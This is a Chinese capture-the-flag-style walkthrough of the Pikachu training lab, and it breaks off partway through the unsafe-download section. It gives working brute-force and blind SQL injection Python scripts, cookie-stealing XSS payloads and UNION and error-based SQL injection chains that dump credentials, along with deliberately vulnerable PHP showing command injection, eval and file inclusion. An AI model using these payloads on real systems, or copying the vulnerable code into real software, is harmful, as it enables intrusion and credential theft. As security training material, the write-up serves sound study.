Pikachu靶机通关和源码分析

提示:文章,目录可以自动生成,如何生成可参考右边的帮助文档

目录

前言

一、暴力破解关

1,基于表单的暴力破解

2,基于验证码绕过的爆破(on server)

3,验证码绕过(on client)

四、Token防爆破?

二、Cross-Site-Scripting

1,反射型(get)

2,反射型(POST)

3,存储型

4,DOM型

5,DOM-X型

6,XSS盲打

7,XSS之过滤

8、XSS之htmlspecialchars

9,XSS之href输出

10、XSS之js输出

三、SQL

1,数字型注入(post)

2,字符型(get)

3, 搜索型注入

4,XX型注入

5、insert/update型

         6、delete注入

7、HTTP header注入

         8,boolian盲注

         9,时间盲注

10、宽字节注入

四、RCE

1,exec  "ping"

2、RCE EVAL

五、File Inclusion

1,本地文件包含

2、远程文件包含

 六、unsafedownload

七、 文件上传

1,client check

2,MIME-type

 3,getimagesize

 八、越权

1,水平越权

 2,水平越权

九、目录遍历 

十、敏感信息泄露

十一、PHP反序列化

 十一、XXE

 十二、URL重定向

十三、 SSRF(服务端请求伪造)

1、curl

2,file_get_content

总结、


前言

Pikachu靶场拥有各类简单的漏洞,能掌握基本的漏洞利用。


提示:以下是本篇文章正文内容,下面案例可供参考

一、暴力破解关

1,基于表单的暴力破解

 没什么好说的,直接burpsuite的intruder模块进行字典爆破。

爆出账号为admin,密码是123456 

源码:

if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){

    $username = $_POST['username'];
    $password = $_POST['password'];
    $sql = "select * from users where username=? and password=md5(?)";
    $line_pre = $link->prepare($sql);


    $line_pre->bind_param('ss',$username,$password);

    if($line_pre->execute()){
        $line_pre->store_result();
        if($line_pre->num_rows>0){
            $html.= '<p> login success</p>';

        } else{
            $html.= '<p> username or password is not exists~</p>';
        }

    } else{
        $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
    }

}

提交的username和password与数据库users表的username和password字段作比较,相同则登录成功。

2,基于验证码绕过的爆破(on server)

 

 用同一个验证码,进行爆破试试。

验证码一直有效,爆破出密码依旧为admin,123456。

源码:

if(isset($_POST['submit'])) {
    if (empty($_POST['username'])) {
        $html .= "<p class='notice'>用户名不能为空</p>";
    } else {
        if (empty($_POST['password'])) {
            $html .= "<p class='notice'>密码不能为空</p>";
        } else {
            if (empty($_POST['vcode'])) {
                $html .= "<p class='notice'>验证码不能为空哦!</p>";
            } else {
                if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
                    $html .= "<p class='notice'>验证码输入错误哦!</p>";
           
                }else{

                    $username = $_POST['username'];
                    $password = $_POST['password'];
                    $vcode = $_POST['vcode'];

                    $sql = "select * from users where username=? and password=md5(?)";
                    $line_pre = $link->prepare($sql);

                    $line_pre->bind_param('ss',$username,$password);

                    if($line_pre->execute()){
                        $line_pre->store_result();
                        if($line_pre->num_rows()==1){
                            $html.='<p> login success</p>';
                        }else{
                            $html.= '<p> username or password is not exists~</p>';
                        }
                    }else{
                        $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
                    }
                }
            }
        }
    }
}

增加了验证码的应用,将POST请求的验证码与session[vode]作比较,不相等即不正确,关键在于没有在每一次请求后销毁session[code]并重新生成,导致了验证码一直有效。应当在login success以及else后都进行session[vode]的销毁,并重新生成。

3,验证码绕过(on client)

 源代码:
 

if(isset($_POST['submit'])){
    if($_POST['username'] && $_POST['password']) {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $sql = "select * from users where username=? and password=md5(?)";
        $line_pre = $link->prepare($sql);


        $line_pre->bind_param('ss', $username, $password);

        if ($line_pre->execute()) {
            $line_pre->store_result();
            if ($line_pre->num_rows > 0) {
                $html .= '<p> login success</p>';

            } else {
                $html .= '<p> username or password is not exists~</p>';
            }

        } else {
            $html .= '<p>执行错误:' . $line_pre->errno . '错误信息:' . $line_pre->error . '</p>';
        }


    }else{
        $html .= '<p> please input username and password~</p>';
    }


}

前端:

 var code; //在全局 定义验证码
    function createCode() {
        code = "";
        var codeLength = 5;//验证码的长度
        var checkCode = document.getElementById("checkCode");
        var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的

        for (var i = 0; i < codeLength; i++) {
            var charIndex = Math.floor(Math.random() * 36);
            code += selectChar[charIndex];
        }
        //alert(code);
        if (checkCode) {
            checkCode.className = "code";
            checkCode.value = code;
        }
    }

    function validate() {
        var inputCode = document.querySelector('#bf_client .vcode').value;
        if (inputCode.length <= 0) {
            alert("请输入验证码!");
            return false;
        } else if (inputCode != code) {
            alert("验证码输入错误!");
            createCode();//刷新验证码
            return false;
        }
        else {
            return true;
        }
    }


    createCode();

后端并没有出现验证码,仅进行登录,前端通过floor函数生成5个随机数字取数组中对应的索引值作为验证码,validate()保证每次提交验证码都会刷新,并且验证验证码的正确性。禁用掉validate()函数进行抓包爆破或将提交的vode直接去掉进行爆破都可以。

四、Token防爆破?

存在token,并且每次提交后token都会刷新,先看看HTML页面的源码。

页面中隐藏了下一次token的值,可以进行爆破,可使用burpsuite的宏或者正则匹配,这里我使用python脚本。

import requests
from bs4 import BeautifulSoup

s = requests.session()
password = []
f = open('password.txt', encoding='utf-8')
while 1:
    num = f.readline().rstrip()
    password.append(num)
    if not num:
        break
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0',
    'Cookie': 'PHPSESSID=782u3n1vs7s22l76u4vphhjidu'

}
req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')
# print(req.text)
token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')

for pa in password:
    req = s.post(url='http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php',
                 data={'username': 'admin', 'password': pa, 'token': token, 'submit': 'Login'})
    if 'success' in req.text:
        print("爆破成功,用户名:admin,密码为:%s" % pa)
        break
    else:
        req = s.get('http://6d0545c2b5a341ccb49fb8844d0a4d02.app.mituan.zone/vul/burteforce/bf_token.php')
        token = BeautifulSoup(req.text, 'lxml').find('input', type='hidden').get('value')

源码分析:


if(isset($_POST['submit']) && $_POST['username'] && $_POST['password'] && $_POST['token']){

    $username = $_POST['username'];
    $password = $_POST['password'];
    $token = $_POST['token'];

    $sql = "select * from users where username=? and password=md5(?)";
    $line_pre = $link->prepare($sql);


    $line_pre->bind_param('ss',$username,$password);

    if($token == $_SESSION['token']){

        if($line_pre->execute()){
            $line_pre->store_result();
            if($line_pre->num_rows>0){
                $html.= '<p> login success</p>';

            } else{
                $html.= '<p> username or password is not exists~</p>';
            }

        }else{
            $html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
        }


    }else{
        $html.= '<p> csrf token error</p>';
    }




}
set_token();

HTML:
<input type="hidden" name="token" value="<?php echo $_SESSION['token'];?>" />

 通过比较Session[token]的值,并且每次请求后都会利用set_token()刷新token,若不显示刷新后的token值,确实是可以防暴力破解。

二、Cross-Site-Scripting

1,反射型(get)

前端设置了字符串的长度限制,直接去掉就好。

<img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" οnmοuseοver="alert('Aiwin')"/> 

源码分析:

$html='';
if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}



?>

扫描过滤都没有,直接message=<img src="https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png" οnmοuseοver="console.log(document.cookie)"/>等都能取出cookie

2,反射型(POST)

这里有post登录页,应该要先登录,使用admin/123456登录。

 

使用上面相同的payload即可。

源码分析:
        

登录:
if(isset($_POST['submit'])){
    if($_POST['username']!=null && $_POST['password']!=null){

        $username=escape($link, $_POST['username']);
        $password=escape($link, $_POST['password']);


        $query="select * from users where username='$username' and password=md5('$password')";

        $result=execute($link, $query);
        if(mysqli_num_rows($result)==1){
            $data=mysqli_fetch_assoc($result);

            //登录时,生成cookie,1个小时有效期,供其他页面判断
            setcookie('ant[uname]',$_POST['username'],time()+3600);
            setcookie('ant[pw]',sha1(md5($_POST['password'])),time()+3600);


            header("location:xss_reflected_post.php");
//            echo '"<script>windows.location.href="xss_reflected_post.php"</script>';

        }else{
            $html ="<p>username or password error!</p>";
        }

    }else{
        $html ="<p>please input username and password!</p>";
    }
}







登录后:
if(isset($_POST['submit'])){
    if(empty($_POST['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{

        //下面直接将前端输入的参数原封不动的输出了,出现xss
        if($_POST['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_POST['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_POST['message']},i don't care!</p>";
        }
    }
}



if(isset($_GET['logout']) && $_GET['logout'] == '1'){
    setcookie('ant[uname]','');
    setcookie('ant[pw]','');
    header("location:post_login.php");

}


function escape($link,$data){
    if(is_string($data)){
        return mysqli_real_escape_string($link,$data);
    }
    if(is_array($data)){
        foreach ($data as $key=>$val){
            $data[$key]=escape($link,$val);
        }
    }
    return $data;
}

 登录时,使用了escape()进行特殊字符如换行符,单引号,双引号,空格进行转义,防止SQL注入,登录成功后,会生成有效期为1小时的cookie,依旧未对信息做任何过滤。

3,存储型

<img src="" οnerrοr='alert(document.cookie)'/> 

源码分析:


$link=connect();
$html='';
if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="<p>数据库出现异常,提交失败!</p>";
    }
}
if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){

    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        echo "<script type='text/javascript'>document.location.href='xss_stored.php'</script>";
    }else{
        $html.="<p id='op_notice'>删除失败,请重试并检查数据库是否还好!</p>";

    }

}

对传入的message数据经过特殊字符转义后(主要针对SQL)插入数据库,导致了存储型的xss,第二个if是进行删除的按钮,通过索引ID进行message的删除,删除成功则立刻跳转到原页面,删除时也未经过任何转义,能够进行sql的盲注。

4,DOM型

输入的信息text会从前端通过javascript生成<a href="text">what do you see </a>

'><img src="#" οnmοuseοver="alert('Aiwin')"/> 先将生成的<a href闭合掉即可。

源码:


                <script>
                    function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }
                </script>
                <!--<a href="" onclick=('xss')>-->
                <input id="text" name="text" type="text"  value="" />
                <input id="button" type="button" value="click me!" onclick="domxss()" />
                <div id="dom"></div>

5,DOM-X型

输入的信息text会出现在URL中

 'οnclick="alert(document.cookie)">

 源码:

 if(isset($_GET['text'])){
    $html.= "<a href='#' onclick='domxss()'>有些费尽心机想要忘记的事情,后来真的就忘掉了</a>";
}   






function domxss(){
                        var str = window.location.search;
                        var txss = decodeURIComponent(str.split("text=")[1]);
                        var xss = txss.replace(/\+/g,' ');

                        document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
                    }
                </script>
                <form method="get">
                <input id="text" name="text" type="text"  value="" />
                <input id="submit" type="submit" value="请说出你的伤心往事"/>
                </form>

<?php echo $html;?>

通过window.location.search匹配URL中?后的部分,通过split提取出text=后面的部分,通过正则全局匹配替换将+号替换成空格,GET请求任何text都会出现<a href='#' οnclick='domxss()'>。跟上一题其实一样,只不过多了一部点击步骤。

6,XSS盲打

两个输入框,是存储型的XSS,但是输入后没有任何输出,看下提示,存在后台,登录后台,后台出现了弹窗。 

源码:

        

后:
 <?php
                    $query="select * from xssblind";
                    $result=mysqli_query($link, $query);
                    while($data=mysqli_fetch_assoc($result)){
                        $html=<<<A
    <tr>
        <td>{$data['id']}</td>
        <td>{$data['time']}</td>
        <td>{$data['content']}</td>
        <td>{$data['name']}</td>
        <td><a href="admin.php?id={$data['id']}">删除</a></td>
    </tr>
A;
                        echo $html;
                    }

                    ?>


前:
$link=connect();
$html='';
if(array_key_exists("content",$_POST) && $_POST['content']!=null){
    $content=escape($link, $_POST['content']);
    $name=escape($link, $_POST['name']);
    $time=$time=date('Y-m-d g:i:s');
    $query="insert into xssblind(time,content,name) values('$time','$content','$name')";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        $html.="<p>谢谢参与,阁下的看法我们已经收到!</p>";
    }else {
        $html.="<p>ooo.提交出现异常,请重新提交</p>";
    }
}

 输入框中提交content,name,date()函数生成time插入数据库中,后台从数据库中一行一行提取出插入的数据到HTML页面,输入和输出的数据都没任何过滤,一旦登录后台,则能进行跨站脚本攻击。

7,XSS之过滤

随便尝试一下,script好像被过滤掉了。

<img src="x" οnerrοr="alert(document.cookie)"/>

源码:

if(isset($_GET['submit']) && $_GET['message'] != null){
    //这里会使用正则对<script进行替换为空,也就是过滤掉
    $message=preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/', '', $_GET['message']);
//    $message=str_ireplace('<script>',$_GET['message']);

    if($message == 'yes'){
        $html.="<p>那就去人民广场一个人坐一会儿吧!</p>";
    }else{
        $html.="<p>别说这些'{$message}'的话,不要怕,就是干!</p>";
    }

}


?>

将输入的message过滤掉了<script,还有很多可以用,黑名单过滤不完全的。

8、XSS之htmlspecialchars

 Htmlspecialchars将&->&amp,"->&quot,<变成&lt,>变成&gt,唯一的缺陷就是默认不对单引号过滤。

 ' οnclick='alert(document.cookie)' 

源码:

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入点啥吧!</p>";
    }else {
        $message=htmlspecialchars($_GET['message']);
        $html1.="<p class='notice'>你的输入已经被记录:</p>";
            $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
        $html2.="<a href='{$message}'>{$message}</a>";
    }
}


?>

使用了hemlspecialchars对message进行过滤,但是默认不对单引号过滤,依旧可以触发。

9,XSS之href输出

由于在<a href="">标签里,直接使用javascript:alert(1) 

源码:

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>叫你输入个url,你咋不听?</p>";
    }
    if($_GET['message'] == 'www.baidu.com'){
        $html.="<p class='notice'>我靠,我真想不到你是这样的一个人</p>";
    }else {
        $message=htmlspecialchars($_GET['message'],ENT_QUOTES);
        $html.="<a href='{$message}'> 阁下自己输入的url还请自己点一下吧</a>";
    }
}


?>

输入的message进行了htmlspecialchars,然后输出在<a href="">里面,利用javascript完美绕过。

10、XSS之js输出

好像输入被动态生成在了javascript里

';alert(document.cookie);//     '闭合前面引号,//将后面注释掉 

三、SQL

1,数字型注入(post)

1 order by 2  爆出两个字段

-1 union select (database()),2 爆出数据库 pikachu

-1 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 爆出表 httpinfo member message users xssblind

-1 union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level

-1  union select (select group_concat(username,'~',password) from pikachu.users),2   爆出账号 密码

 源码:

if(isset($_POST['submit']) && $_POST['id']!=null){
    $id=$_POST['id'];
    $query="select username,email from member where id=$id";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $username=$data['username'];
            $email=$data['email'];
            $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>";
    }
}



?>

 用户可控输出直接拼接到了select查询。

2,字符型(get)

allen' order by 2 #  爆出两个字段

allen' union select (database()),2# 爆出数据库 pikachu

allen' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind

allen' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2#  爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level

allen'  union select (select group_concat(username,'~',password) from pikachu.users),2 #   爆出账号 密码

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];
    $query="select id,email from member where username='$name'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

查询的是username字符型,闭合直接拼接到了select。

3, 搜索型注入

a%' union select 1,(select database()),3#  爆出数据库


a%' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2,3 # 爆出表 httpinfo member message users xssblind

a%' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2,3 #  爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level

a%' union select (select group_concat(username,'~',password) from pikachu.users),2,3 #   爆出账号 密码

 源码:

if(isset($_GET['submit']) && $_GET['name']!=null){

    $name=$_GET['name'];

    //这里的变量是模糊匹配,需要考虑闭合
    $query="select username,id,email from member where username like '%$name%'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        $html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
        while($data=mysqli_fetch_assoc($result)){
            $uname=$data['username'];
            $id=$data['id'];
            $email=$data['email'];
            $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    }else{

        $html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
    }
}

使用了%模糊搜索字符型name,需要闭合%和',直接拼接到了select中查询 ,此处还存在反射型XSS漏洞,allen%'#<script>alert(document.cookie)</script>,因为name被直接输出到了页面。

4,XX型注入

a') union select 1,(select database())#  爆出数据库


a') union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind

a)' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 #  爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level

a') union select (select group_concat(username,'~',password) from pikachu.users),2 #   爆出账号 密码

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];
    //这里的变量是字符型,需要考虑闭合
    $query="select id,email from member where username=('$name')";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}

闭合单引号和括号,直接拼接到select语句查询。

5、insert/update型

注册的username处进行报错注入

' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库


' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '

爆表名


' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '

爆列名


' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '

爆数据

源码:

if(isset($_POST['submit'])){
    if($_POST['username']!=null &&$_POST['password']!=null){
        $getdata=$_POST;
        $query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";
        $result=execute($link, $query);
        if(mysqli_affected_rows($link)==1){
            $html.="<p>注册成功,请返回<a href='sqli_login.php'>登录</a></p>";
        }else {
            $html.="<p>注册失败,请检查下数据库是否还活着</p>";

        }
    }else{
        $html.="<p>必填项不能为空哦</p>";
    }
}




?>

对输入的POST数据未经过转义,就拼接插入数据库,可以使用报错注入。

6、delete注入

56 and updatexml(1,concat(0x7e,database(),0x7e),1) 爆数据库


56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

爆表名


56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1)

爆列名


56 and updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2)

爆数据

源码:

if(array_key_exists("message",$_POST) && $_POST['message']!=null){
    $message=escape($link, $_POST['message']);
    $query="insert into message(content,time) values('$message',now())";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)!=1){
        $html.="<p>出现异常,提交失败!</p>";
    }
}


// if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){
if(array_key_exists('id', $_GET)){
    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        header("location:sqli_del.php");
    }else{
        $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
    }
}


?>

删除数据时,直接拼接了传入的id的值,删除时能进行sql注入

7、HTTP header注入

提示中有登录,进行登录

User-Agent进行注入:

' or updatexml(1,concat(0x7e,database(),0x7e),1) or ' 爆数据库


' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) or '

爆表名


' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database()),0x7e),1) or '

爆列名


' or updatexml(1,concat(0x7e,(select group_concat(id,username,password,level) from pikachu.users),0x7e),2) or '

爆数据

源码:

$remoteipadd=$_SERVER['REMOTE_ADDR'];
$useragent=$_SERVER['HTTP_USER_AGENT'];
$httpaccept=$_SERVER['HTTP_ACCEPT'];
$remoteport=$_SERVER['REMOTE_PORT'];


$query="insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')";
$result=execute($link, $query);


if(isset($_GET['logout']) && $_GET['logout'] == 1){
    setcookie('ant[uname]','',time()-3600);
    setcookie('ant[pw]','',time()-3600);
    header("location:sqli_header_login.php");
}


?>

直接获取了前端传入的header头信息并未经过处理插入数据库。

8,boolian盲注

import requests


url="http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
last="&submit=%E6%9F%A5%E8%AF%A2"
headers={
    'Cookie':'PHPSESSID=ea18qdummjfkob64qdec0b3oho',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
}
result = ''
for times in range(1, 88):
    min = 0
    max = 128
    mid = (min + max) // 2
    while min < max:
        url = "http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
        #url=url+f"allen'+and+ascii(substr(database()%2C{times}%2C1))>{mid}%23"+last #爆数据库 pikachu
        #url=url+f"allen'+and+ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%23"+last #爆表 httpinfo、member、message、user、xssblind
        #url = url + f"allen'+and+ascii(substr((select+group_concat(column_name)+from+information_schema.columns+where+table_name%3D'member')%2C{times}%2C1))>{mid}%23" + last #爆某表字段、如user表,Host,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv等
        url=url+f"allen'+and+ascii(substr((select+group_concat(username)+from+pikachu.member)%2C{times}%2C1))>{mid}%23"+last
        resp = requests.get(url,headers=headers)
        if 'your email is: allen@pikachu.com' in resp.text:
            min = mid + 1
        else:
            max = mid
        mid = (min + max) // 2
    result += chr(min)
    print(result)

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    $result=mysqli_query($link, $query);//
//     $result=execute($link, $query);
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{

        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }
}



?>

打印结果输出的被注释掉了

9,时间盲注

import datetime
import time

import requests


url="http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
last="&submit=%E6%9F%A5%E8%AF%A2"
headers={
    'Cookie':'PHPSESSID=ea18qdummjfkob64qdec0b3oho',
    'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'
}
result = ''
for times in range(1, 88):
    min = 0
    max = 128
    mid = (min + max) // 2
    while min < max:
        url = "http://8b4456c4b5f14e56b89822e00a3ac86a.app.mituan.zone/vul/sqli/sqli_blind_b.php?name="
        #url=url+f"allen'+and+if(ascii(substr(database()%2C{times}%2C1))>{mid}%2Csleep(3)%2C1)%23"+last #爆数据库 pikachu
        url=url+f"allen'+and+if(ascii(substr((select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%2C{times}%2C1))>{mid}%2Csleep(2)%2C1)%23"+last
        startTime = time.time()
        resp = requests.get(url,headers=headers)
        time2 = datetime.datetime.now()
        if time.time()-startTime > 2:
            min = mid + 1
        else:
            max = mid
        mid = (min + max) // 2
    result += chr(min)
    print(result)

自己调试下,根据网络的大致情况采取适当的时间。

 

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){
    $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
    $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
    $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
//     $result=execute($link, $query);
//    $html.="<p class='notice'>i don't care who you are!</p>";
    if($result && mysqli_num_rows($result)==1){
        while($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>i don't care who you are!</p>";
        }
    }else{

        $html.="<p class='notice'>i don't care who you are!</p>";
    }
}

无论输出啥,输出都一样,只能使用时间盲注。

10、宽字节注入

kobe%df' union select 1,database()#  爆数据库名


kobe%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2 # 爆出表 httpinfo member message users xssblind

kobe%df' union select (select group_concat(column_name) from information_schema.colmns where table_name='users'),2 #  爆出字段 USER CURRENT_CONNECTIONS TOTAL_CONNECTONS,id,username,password,level

kobe%df' union select (select group_concat(username,'~',password) from pikachu.users),2 #   爆出账号 密码

源码:

if(isset($_POST['submit']) && $_POST['name']!=null){

    $name = escape($link,$_POST['name']);
    $query="select id,email from member where username='$name'";
    $set = "set character_set_client=gbk";
    execute($link,$set);

    //mysqi_query不打印错误描述
    $result=mysqli_query($link, $query);
    if(mysqli_num_rows($result) >= 1){
        while ($data=mysqli_fetch_assoc($result)){
            $id=$data['id'];
            $email=$data['email'];
            $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
        }
    }else{
        $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
    }


}



?>

虽然使用了escape对参数name进行转义,但是启用了gbk编码,可以使用%df或其它编码与\构成两字节的编码绕过\

四、RCE

1,exec  "ping"

源码分析:

$result='';

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){
    $ip=$_POST['ipaddress'];
    if(stristr(php_uname('s'), 'windows')){ //判断系统类型
        $result.=shell_exec('ping '.$ip);//直接将变量拼接进来,没做处理
    }else {
        $result.=shell_exec('ping -c 4 '.$ip);
    }

}



?>

 输入的ipaddress变量未经过过滤,直接进行了命令执行。

2、RCE EVAL

源码:


$html='';
if(isset($_POST['submit']) && $_POST['txt'] != null){
    if(@!eval($_POST['txt'])){
        $html.="<p>你喜欢的字符还挺奇怪的!</p>";

    }

}


?>

 直接将用户的输入当成了PHP代码执行,很危险。

五、File Inclusion

1,本地文件包含

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "include/$filename";//变量传进来直接包含,没做任何的安全限制

}


?>

 传入的参数直接进行了包含,应当使用白名单,规定传入的文件名

2、远程文件包含

 

源码:

$html1='';
if(!ini_get('allow_url_include')){
    $html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){
    $html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
    $html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}


//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";//变量传进来直接包含,没做任何的安全限制


}

远程文件包含需要开启PHP的allow_url_include和fopen服务,php6以后magic_quotes_gpc服务默认关闭。

 六、unsafedownload

 有文件下载的途径,可以尝试一下修改filename的值

 源码:

<?php


$PIKA_ROOT_DIR =  "../../";

include_once $PIKA_ROOT_DIR."inc/function.php";
